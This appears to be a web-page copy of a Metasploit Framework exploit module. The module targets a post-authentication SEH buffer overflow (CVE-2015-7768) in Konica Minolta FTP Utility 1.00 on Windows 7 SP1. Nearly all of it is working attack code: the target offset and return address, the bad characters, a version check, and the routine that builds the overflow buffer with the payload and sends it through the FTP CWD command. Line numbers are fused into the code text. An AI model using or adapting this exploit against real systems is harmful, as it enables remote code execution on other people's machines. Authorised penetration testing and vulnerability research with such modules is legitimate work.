Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/kmftp_utility_cwd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',14'Description' => %q{15This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.16Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which17leads to an SEH overflow. Konica FTP allows anonymous access by default; valid18credentials are typically unnecessary to exploit this vulnerability.19},20'Author' =>21[22'Shankar Damodaran', # stack buffer overflow dos p.o.c23'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module24],25'License' => MSF_LICENSE,26'Notes' => {27'Stability' => [],28'SideEffects' => [],29'Reliability' => []30},31'References' =>32[33[ 'CVE', '2015-7768' ],34[ 'EDB', '37908' ]35],36'Privileged' => false,37'Payload' =>38{39'Space' => 1500,40'BadChars' => "\x00\x0a\x2f\x5c",41'DisableNops' => true42},43'Platform' => 'win',44'Targets' =>45[46[47'Windows 7 SP1 x86',48{49'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll50'Offset' => 103751}52]53],54'DisclosureDate' => '2015-08-23',55'DefaultTarget' => 0))56end5758def check59connect60disconnect6162if banner =~ /FTP Utility FTP server \(Version 1\.00\)/63return Exploit::CheckCode::Detected64else65return Exploit::CheckCode::Safe66end67end6869def exploit70connect_login7172buf = rand_text(target['Offset'])73buf << generate_seh_record(target.ret)74buf << payload.encoded75buf << rand_text(3000)7677print_status("Sending exploit buffer...")78send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string7980handler81disconnect82end83end848586